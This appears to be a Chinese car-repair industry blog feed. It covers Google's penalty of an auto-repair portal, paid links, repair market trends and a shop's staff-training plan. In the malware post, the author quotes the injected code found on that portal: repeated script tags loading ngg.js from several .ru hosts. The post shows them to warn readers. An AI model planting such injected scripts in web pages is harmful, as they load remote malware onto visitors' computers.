汽车修理厂管理与汽车维修管理软件 » 汽车修理 http://www.xiuli123.com 汽修厂管理资讯、汽车维修行业动态、关注IT、搜索引擎研究,首佳汽车维修管理软件资讯博客,分享免费的汽车维修资料,汽车4S店管理,汽车美容装簧知识及资料下载,修理厂管理规章制度等 Thu, 08 Dec 2011 09:07:31 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 浏览汽车维护与修理网请用最安全的浏览器Firefox! http://www.xiuli123.com/%e6%b5%8f%e8%a7%88%e6%b1%bd%e8%bd%a6%e7%bb%b4%e6%8a%a4%e4%b8%8e%e4%bf%ae%e7%90%86%e7%bd%91%e8%af%b7%e7%94%a8%e6%9c%80%e5%ae%89%e5%85%a8%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8firefox/ http://www.xiuli123.com/%e6%b5%8f%e8%a7%88%e6%b1%bd%e8%bd%a6%e7%bb%b4%e6%8a%a4%e4%b8%8e%e4%bf%ae%e7%90%86%e7%bd%91%e8%af%b7%e7%94%a8%e6%9c%80%e5%ae%89%e5%85%a8%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8firefox/#comments Sat, 02 Aug 2008 09:36:58 +0000 首佳软件 http://soft.whsjsoft.com/%e6%b5%8f%e8%a7%88%e6%b1%bd%e8%bd%a6%e7%bb%b4%e6%8a%a4%e4%b8%8e%e4%bf%ae%e7%90%86%e7%bd%91%e8%af%b7%e7%94%a8%e6%9c%80%e5%ae%89%e5%85%a8%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8firefox/ 汽车维护与修理网相信很汽修行业的人士都知道,这个网站有大量的汽车维修行业最新资讯，大量免费的汽车维修技术资料，还有汇聚大量的汽修专业人员的维修论坛。但是这样一个行业性网站的安全性却是很令人担忧。特别是对汽修行业的人士来说，浏览汽车维护与修理网的某些页面将带来安全性问题，我们上网除了装好防火墙、杀毒软件外，还要用一个安全又速度快的浏览器，最好的选择是Firefox！关于Firefox的优点请看此文：速度快,防病毒,就要用火狐浏览器!

为什么要提出这个建议，请看来自汽车维修管理软件博客的文章：

接前文:汽车维护与修理网被谷歌惩罚,结果很严重!
发现汽车维护与修理网被谷歌惩罚之后，在我的积极建议之下，汽车维护与修理网做了商业广告部份的链接的标注。关于通过买卖链接来传递PageRank的解决方法比较简单， 解决方法：为了遵循谷歌的质量准则，买卖链接应通过”rel=nofollow”或其他技术来屏蔽，网站经过调整之后再谷歌申请审核，方法请看：使用网站管理员工具申请重新审核

不知道汽车维护与修理网管理员有没有作申请重新审核之类的工作，但是我在我的谷歌管理员工具中作了一次解除连带性惩罚的申请，内容中提到了www.autorepair.com.cn的改进之处，间接的帮了汽车维护与修理网一把。今天site:www.autorepair.com.cn的结果也为961了。汽车维护与修理网终于解放出来了。但是查询结果中还有这此安全警告：

汽车维护与修理网

该网站可能含有恶意软件，有可能会危害您的电脑。
汽车轮胎使用隐患令人担忧. http:/www.autorepair.com.cn&nbsp2008-7-28 11:01:43 张煦. 2008年“关注轮胎，关注行车安全”全国轮胎安全检测活动，刚刚公布了北京站的 …
www.autorepair.com.cn/jianxiu/showtext.asp?cartextid=683 – 6小时前

网站被挂上恶意软件之类的木马、病毒等，这就很严重了。被怀疑参与了涉嫌买卖链接的交易，还有木马，网站的信誉度无法让谷歌接受，惩罚在所难免。相比百度，谷歌在维护用户的安全性问题方面，做得百度强多了。

查看了一些页面，攻击汽车维护与修理网，并种木马的人超级恶心！看下面的代码：
<script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script>

用IE打开这个网站的话，中招后，这台电脑还能用吗？差不多就死翘翘了。
用Firefox的话，上面的危险代码是不能执行的。为了你的电脑安全，在浏览汽车维护与修理网请用最安全的浏览器Firefox。

汽车维修管理软件博客中更多Firefox的信息请点此。
有关汽车维护与修理网的更多信息请点此。
免费汽车维修资料(汽车维护与修理杂志2007第9期内容介绍)免费下载。

原文：汽车维护与修理网与恶意软件有染,浏览汽车维护与修理网请用最安全的浏览器Firefox!

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如果你是搜索”汽车维护与修理网”进入本文的，请访问： http://www.autorepair.com.cn进入原站。

前文:PR更新了，看你的更新了没有？评论中提到http://www.autorepair.com.cn变成0了，这绝对是一个惩罚的结果。汽车维护与修理网是一个行业性质的网站，是由中国汽车维修行业协会、汽车维护与修理杂志社主办的网站，拥有足够的权威度，也有比较优质的外部链接。即使是如此，也遭到谷歌的保证搜索质量的大棒无情的抽 打。

据我猜测被惩罚的原因是：可能被某些站长举报“汽车维护与修理网”参与了涉嫌买卖链接的交易。当然这可能不是唯一，如果有其它为推广网站，但违反谷歌官方的质量指南的建议，也会受到惩罚。

汽车维护与修理网被谷歌惩罚的结果是很严重的，除了降PR为0外，还被清除出谷歌的索引，请看：site:www.autorepair.com.cn的结果也为0了。谷歌一下：汽车维护与修理网都导向其它网站去了，这个损失也是很严重的。

按照谷歌官方的说法：http://www.googlechinawebmaster.com/2007/12/pagerank.html
但是如果一个网站管理员选择买卖链接以操纵搜索引擎排名，我们保留保护我们的索引质量的权利。通过买卖链接来传递PageRank违反了我们的站长指南。这种链接会损害我们搜索的相关性而造成：

- 失实：虚假的流行性以及不是基于实际价值、相关性、或权威性的链接
- 不平等：谷歌的有机搜索结果会变成让钱包最鼓的网站占有不公平的优势

解决方法：为了遵循谷歌的质量准则，买卖链接应通过”rel=nofollow”或其他技术来屏蔽，例如，重定向到一个在robots.txt中被禁止索引的页面。网站所有者可以停止违背网络管理员指南的行为，并在谷歌的站长中心控制台提交复议请求。在提出复议请求之前，请确保所有售出的链接不再传递PageRank或者删除它们。

当然，汽车维护与修理网上面的链接应该说全部都是行业相关性的网站，对“失实”的说法应该是不合理的。如果是买卖链接，那也应该是商业广告，至于传递PageRank当然也有广告主的真实意图。

惩罚还可能是连带性质的，相关的网站也可能被降权，这对买方来说就不太公平了，有些买方只是为了带来流量、提高知名度而已。

相关搜索：

汽车修理 汽车维护与修理网 汽车维护与修理杂志 汽车维护与修理杂志社 变频器应用维护与修理
汽车维护修理网 汽车维护和修理 汽车维护与保养 汽车维护与维修 汽车维护与维修网

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汽车维护与修理杂志第七期（电子杂志内容介绍和下载）
汽车维护与修理技术资料杂志第八期内容介绍|免费下载

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在汽车业发达国家，快修连锁服务是一种趋势。发展连锁经营可以确保服务价格和服务质量，易于形成一个巨大而稳定的用户市场，同时借助网络优势，快修连锁企业不仅可以分散市场风险，其规模化经营还能有效降低成本。
快修连锁的关键在于汽车配件的连锁配送，发达的配件物流系统是快修连锁服务的基础。通过连锁经营网络，快修连锁企业可以实现仓储配送和库存调配，有效减少配 件储备和资金占用，降低运营成本。“目前，我国还没有真正意义上的全国连锁维修企业，有的只是一些区域性的连锁。经过调研，我们认为最大的瓶颈在于我国配 件物流业还不发达。”中国汽车维修行业协会会长康文仲指出。而国际上一些大型零部件企业正是因为拥有强大的配件销售网络和供应体系，已经逐步发展成为快修 连锁巨头。

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用户对售后服务中最不满意的环节是维修费用，包括维修站点巧立名目随意收费、收取高额“工时费”、“材料费”等问题，这一比例高达６４．２％。４３． ０％的用户对维修人员的技术水平表示不太满意。另外，维修时效性、配件供应、服务态度等也是用户对售后服务不太满意的方面。

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４Ｓ 店和特约维修店的垄断地位主要来自于对配件的垄断。目前维修市场上的配件有三种，原厂配件、配套厂件和副厂配件。原厂配件是指为主机厂配套的装车件，国际 上大部分整车厂和主机厂都采取委托生产的方式进行配套采购，这些配件可以打上整车厂的标记，进入其售后服务体系，但不在市场上零售流通。配套厂件也是由为 整车厂供应配套产品的零部件厂家生产，通过零部件厂家自身的销售渠道向维修市场供应。副厂配件则是一些没有为整车厂进行配套的企业所生产的配件。４Ｓ店和 特约维修店正是凭借对原厂配件以及检测维修设备专车专用等技术壁垒占据市场，专有配件的垄断价格加上维修设备折旧费使其市场价格居高不下。
主 机厂对特约维修企业进行专业技术指导，提供配件的相关数据，同时也就给非认定维修企业设置了进入壁垒，这种垄断的形成不利于汽车维修的便捷性和标准化。为 此，世界上不少专业咨询机构购买了主机厂的技术版权，为更多的维修企业提供专业技术支持，维修企业运用这些技术资料可以快速查找出故障原因，设计出最佳的 排除故障方案。据交通部公路司车辆管理处副处长蔡团结介绍，我国正准备引进《美国米切尔汽车维修数据库及资料》光盘，以此建立一个技术资料信息平台，为更 多维修企业提供标准化的技术信息服务，同时还将鼓励我国大型维修企业自身进行技术资料积累。

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汽车大修：用修理或更换汽车任何零部件 （包括基础件） 的方法，恢复汽车的完好技术状况或完全 （或接近完全） 恢复汽车寿命的恢复性修理。汽车大修是对整车进行解体，对所有零部件进行检验、修理或更换。汽车大修的期限是随着汽车产品质量、使用条件和平时维护状况的不同有很大差异的，车辆技术管理部门应对接近大修定额里程的车辆加强状态监控，结合维护进行定期检测，做好技术鉴定工作，根据汽车大修的送修条件及时送修。
总成修理：是为了恢复汽车某一总成的完好技术状况、工作能力和寿命而进行的作业。也就是总成在经过一定使用期限后，其基础件和主要零部件破裂、磨损、老化等，需要拆散进行彻底修理，以恢复其技术状况。主要总成包括发动机、车架、车身、变速器、后桥、前桥等。送修前要进行技术鉴定，达到送修条件的按规定送修。
汽车小修：是用修理和更换个别零件的方法，保证或恢复车辆工作能力的运行性修理。主要是为了消除车辆在运行过程中和维护作业中发生或发现的故障和隐患。
零件修理：是对因磨损、变形、损伤等不能继续使用的零件进行修复，以恢复其性能和寿命。它是节约原材料、降低维修费用的一个重要措施。当然，零件修理必须考虑到是否有修复价值和符合经济的原则。
视情修理：是指按技术文件规定对汽车技术状况进行诊断或检测后，决定修理的内容和实施时间的修理。也就是根据鉴定结果确定修理的级别和项目。

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在现有基础上增加以下内容
（1）加大成本的管理，实行抠门管理。（现场工作材料管理）
（2）加大现场的抽样式调查考核力度。（现场工作质量技术速度）

（3）关于分店“全员决策”的管理制度
（4）考核内容公布制度
（5）加大员工的风险工作意识。
原因：略（大家应该很清楚在这一阶段“大员工的风险工作意识”原因了。）
结果：通过加大员工的风险工作意识，不仅可以提高员工的工作效益，还可以
方法：A天的营业额等数据向员工公开的建议。营业额高可以提高士气，营业额不好可以促进大家更加努力去工作。
B经常安排员工去先进的分店参观或到优秀的竞争对手那里去调查。
C 经常把市场发展状况的资料让大家看或了解。
D 日常工作中的一些表现能够体现员工是否已经有了风险意识，这个需要管理者经常去工作现场了解情况。
。。。。。。。。。

(6)关于技术储备的问题。
原因：（1）由于万科汽车美容比较早进入该行业，而且在刚进入的那几年在设备和技术上很重视，一时间员工的工作技术在同行里还很领先；这几年市场 在快速发展，而各分店的设备和技术上却保持几年前的水平，这很不规范的，应该是设备和技术与市场同步发展或较市场发展快速，只有这样才不会被市场淘汰，才 能在同行中保持领先的地步。（2）随着汽车美容材料在商场超市的普及（价格比美容快修店便宜），很多车主来分店做美容或保养时，常常自己带材料来，让我们 的员工给他做，由于很多材料是员工平时很少见的，对材料的性能和使用技术也很欠缺。在使用材料时往往达不到理想的结果。（3）由于我们现在使用的材料长期 单一性，因而在材料使用技术方面也是单一性（指使用材料时做出的结果）。对其它品牌的材料及其使用技术不是很好，这是我们在控制供应商面前的一个缺陷， （如果在销售旺季的时候，供应商突然停止供货，虽然我们可以寻求其它供应商材料，那我们的施工技术是否能跟上）。（4）现在市场发展很快，新的材料、设备 和技术更新是很快的，特别是很多世界上著名的汽车美容快修商带着先进的技术来中国寻找市场。（5）汽车修理人员有上岗证，分为初、中、高级证书，而美容养 护工绝大多数是在汽车修理厂的徒工，他们掌握了一些基本汽车机电原理，随后就转向汽车美容养护行业。养护和美容产品的使用基本上是按说明书操作，养护工极 少研究其工作原理，或者根本就不去仔细研究。汽车美容养护技术的传授和更新速度极慢，只能靠老技师的传、帮、带，不能适应市场上对养护工的需求。另外，汽 车工业的新技术应用越来越广泛，电脑系统、电子技术在这一行业的应用也在逐渐升级，非专业养护工根本无法排除故障。（6）经常我们会看见车主带着一个没处 理过的毛病来让我们处理（指车主车的毛病）。（7）在推广精细化经营的路线中，会遇见不同材料和顾客不同要求带来的技术问题。
结果：我们掌握的技术应该多元化，这样才能最大化的处理不同材料和顾客不同要求带来的技术问题。
操作方式：A。针对材料多元化的操作技术的风险分担。
（1）寻找市场上属于旺销的美容保养材料。（2）先在某分店试用，找到最佳的使用技术。（3）将该技术保存起来放在网上“员工工作技巧”培训专栏里，供需要时下载。
B．针对技术多元化的操作技术的风险分担。
（1）在竞争者调查中（市场调研中），如果调查到有先进的操作技术。（2）应该先在某分店试用，看该技术的效果任何。（3）然后在决定是否将该技术保存起来放在网上“员工工作技巧”培训专栏里，供需要时下载。
C．关于组建快修项目的操作技术的开发小组建议.
（1）可以在分店内部组建，（2）可以联络其它分店通过中心内部网的“员工操纵技能”培训专栏来组建。技术开发小组的员工全是业余的。不过所有开发的新技术必须放在内部网上供大家共同享受。
D结合网上“员工工作技巧”培训专栏开展工作。

(7) 加大市场信息调研和分析的力度。
因为：这几年市场变化很快，消费者的观念也在快速变化，我们的竞争对手也在迅速的调整经营和管理方式；为了经营管理决策的准确性要因此加大市场信息调研和分析的力度。主要加强市场调研的宽度和深度。
市调人员安排：（1）有开发潜力的员工去做市场调查（要把员工提升为管理者，员工就必须了解市场的变化，因此这种方法即是培训有潜力员工了解市场 的机会，又为公司或分店把市场调研给做了，是一件一举两得的事情。） （2）在专业方面比较强的市场调研，就的安排专门人去调研。（3）分店的管理者直接 去做市场调研。（4）具体人员安排还是管理者自己决定。
。。。。。。。

3 关于在每天销售高峰期人手不够的问题
原因：由于我们分店所在的几个小区的车主，基本上都是上班族，他们来分店给汽车做美容保养的时间基本上都集中在几个时间段：其它时间段基本上没什 么车来做美容保养。在人力资源方面搭配起来比较麻烦，如果按照销售高峰期招人，虽然能保证销售高峰期的工作质量和速度，但是在销售低谷期时，却是大量员工 无事可做，而且工资福利一点都不能少。相反，人少的情况下却不能保证销售高峰期的工作质量和速度。
结果：可以招一批钟点工或兼职工来解决该问题。平时分店就几个长期工或全职工负责就可以了，在销售高峰期的时候，就用钟点工或兼职工来解决员工不足的问题。而且而且工资福利这一块比长期工或全职工低，在管理方面也容易。
招钟点工或兼职工范围：在清洁公司里去找的钟点工或兼职工比较时候做汽车美容，因为大家都是做清洁的，培训起来也容易，在清洁公司里找的可靠性比较好。

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1 关于员工的激励
原因：略
A 实施方式：培训方面
在这一竞争阶段分店的培训工作：从前一阶段注重员工的工作技术培训转移到这一阶段注重员工的销售技术和服务态度与行为的培训。
（1）员工培训
为了使培训进一步落到实处，本人为此专门设计了一处培训表如下
（该表为样表，所列项目并不全，仅作为参考资料）
培训新员工：（签名） 职位： 入职时间： 培训时间 从 到 止
入职培训 基础操作 保养类 技能操作 快修类及其它
培训时间 从 到 止 培训时间 从 到 止 培训时间 从 到 止
培训项目 指导签名 考核签名 培训项目 指导签名 考核签名 培训项目 指导签名 考核签名
入职引导 雨刮器检查更换 清洗发动机
分店介绍 “三滤”检查 清洗波箱
培训结果 灯光校对 换火花塞
初步操作 美容类 “三滤”更换 轮胎动静平衡
培训时间 从 到 止 蓄电池检查加液 ………
培训项目 指导签名 考核签名 刹车液检查更换
洗车 冷却液检查更换
洗车内 轮胎检查更换
吸尘 轮胎修补
去柏油 轮胎换位定位
手工打蜡 ………
封釉
抛光机使用
………
培训结果
实施过程：当新员工办完入职手续之后，到分店的第一件事情就是培训。由分店的管理者专门安排师傅对其进行培训。并在规定时间内对新员工的工作技术进行考核。

（2）员工销售技术、服务态度、服务行为方面的培训：
了使培训进一步落到实处，本人为此专门设计了一处培训表如下
（该表为样表，所列项目并不全，仅作为参考资料）
培训员工：（签名） 入职时间： 职位：
过去这三个方面工作表现 服务态度培训 推销技术培训
培训时间 从 到 止 培训时间 从 到 止
培训项目 指导签名 考核签名 培训项目 指导签名 考核签名
精神状态 主动性
思想状态 分店优势表达
。。。。。。。 分店劣势回答
刁难顾客处理
说服不了的顾客的处理
培训结果
服务行为培训 关联性项目的推销表达
结 果 培训时间 从 到 止
培训项目 指导签名 考核签名 几位顾客在场的处理
现场速度
微笑接待 替代项目选择
处理方式 礼貌用语 替代项目表达
现场动作 价格的解释
。。。。。 形象仪态
竞争对手解释
。。。。。。。
培训结果 培训结果
实施过程：当知道到问题的处理方式之后。由分店的管理者专门安排师傅对其进行培训。并在规定时间内对员工这三方面的工作技术进行考核；定期使用。

（3）员工培训加强专业知识
过程解释略。
（4）员工培训加强季节性或节假日的项目开发力度和销售力度。
原因：略
（5）关于建立网上“员工推销技巧”培训专栏
原因：（1）由于员工的推销技术不是很理想，每天都有项目流失。（2）由于行业的特殊性，
不可能同时组织员工长时间的培训或长期占用员工的休息时间来培训。
解决方式：在中心内部网中增加一个“员工推销技巧”培训专栏
作用：快速提高员工的销售技术，最大限度的降低销售损失。避免同时组织员工长时间的培
训或长期占用员工的休息时间来培训带来的不良后果。
内容分为：美容类、保养类、快修类、精品类、其它类（年审）
其中以美容类为列：分为（1）美容项目推销技巧篇（既在现场为如何进行推销），（2）推销案列篇（既因推销失败而导致的后果），（3）推销技巧提升篇（既将各分店将最新最好的推销技巧 传在上面去和上传其它行业优秀推销案列、技巧供其它分店的员工下载学习），（4）推
销技巧求助篇（发布各分店所需的推销技巧，谁能解决，在月度考核中就增加一分成绩；因为不仅为需求者提供了帮助，而且自己也有所提高。）
传播方式：每天由店长（或店长助理）/营业员（或副营业员）从“员工推销技巧”里面的推
销技巧提升篇和推销技巧求助篇中下载最新最好的推销技巧和需求，并及时组织时间培训和设计，尽量在最短的时间内让员工掌握和设计出需求，这样才能最大限度的降低各分店销售损失。。
管理方式：由中心电脑管理员兼管
保养类、快修类、精品类、其它类（年审）也与美容类的内容相似

（6）关于建立网上“员工工作技巧”培训专栏
原因：（1），每天都有不合理的工作技术出现。（2）由于行业的特殊性，不可能同时组织员工长时间的培训或长期占用员工的休息时间来培训。（3） 由于公司（分店）规模的特殊性，不可能专门设立技术的研究与开发中心。(4) 汽车修理人员有上岗证，分为初、中、高级证书，而美容养护工绝大多数是在汽 车修理厂的徒工，他们掌握了一些基本汽车机电原理，随后就转向汽车美容养护行业。养护和美容产品的使用基本上是按说明书操作，养护工极少研究其工作原理， 或者根本就不去仔细研究。汽车美容养护技术的传授和更新速度极慢，只能靠老技师的传、帮、带，不能适应市场上对养护工的需求。另外，汽车工业的新技术应用 越来越广泛，电脑系统、电子技术在这一行业的应用也在逐渐升级，非专业养护工根本无法排除故障。
解决方式：在中心内部网中增加一个“员工工作技术”培训专栏
作用：快速提高员工的工作技术，最大限度的降低因工作技术的原因造成的损失。避免同时组
织员工长时间的培训或长期占用员工的休息时间来培训带来的不良后果。
内容分为：美容类、保养类、快修类、精品类、其它类（年审）
其中以美容类为列：分为（1）工作技术篇（既在现场为如何进行工作），（2）工作技术案列篇（既因推销失败而导致的后果），（3）工作技术提升篇（既将各分店将最新最好的工作技术
传在上面去、技巧供其它分店的员工下载学习），（4）工作技术求助篇（发布各分店所需的工作技术，谁能解决，在月度考核中就增加一分成绩；因为不仅为需求者提供了帮助，而且自己也有所提高。）
传播方式：每天由店长（或店长助理）/营业员（或副营业员）从“工作技术” 培训专栏里面的工作技术提升篇和工作技术助篇中下载最新最好的工作技术和需求，并及时组织时间培训和设计，尽量在最短的时间内让员工掌握和设计出需求，这样才能最大限度的降低各分店销售损失。。
管理方式：由中心电脑管理员兼管
保养类、快修类、精品类、其它类（年审）也与美容类的内容相似

（7）员工推销技术培训
在现有基础上增加内容
（1）增加培训时间和内容来提高员工的推销口才。
培训内容：刁难/钻牛交间一类顾客的推销技术、万科汽车美容优势的表达、客户
培训师：由分店最优秀的销售人员担任。
（2）空余时间多组织员工练习推销技巧：两人一组进行模拟演练（一人扮难缠的顾客，另一人扮项目的推销者），其它人观摩，并讨论。
（3） 对于口才悬殊大的应单独培训，使员工整体的水平都很好。
B其它方面奖励员工的建议
（1）关于员工中午就餐的餐桌和餐倚增加的建议。目前由于没有餐桌，大家选快餐时把快餐全放在地上来选，汤也是放在地上的，于没有餐倚大家只好蹲 在地上或坐在地上就餐。这有点影响我们分店的形象，建议适当增加餐桌和椅子。这样即不会影响分店的形象，同时也给予了员工、生活上的关怀。
（2）组织并增加娱乐活动的开展的次数，这样有利于提高员工的凝聚力。
（3）增加“家庭式管理”的内容和强化执行情况，这样有利于提高员工的归属感。
（4）为优秀员工规划设计职业道路。

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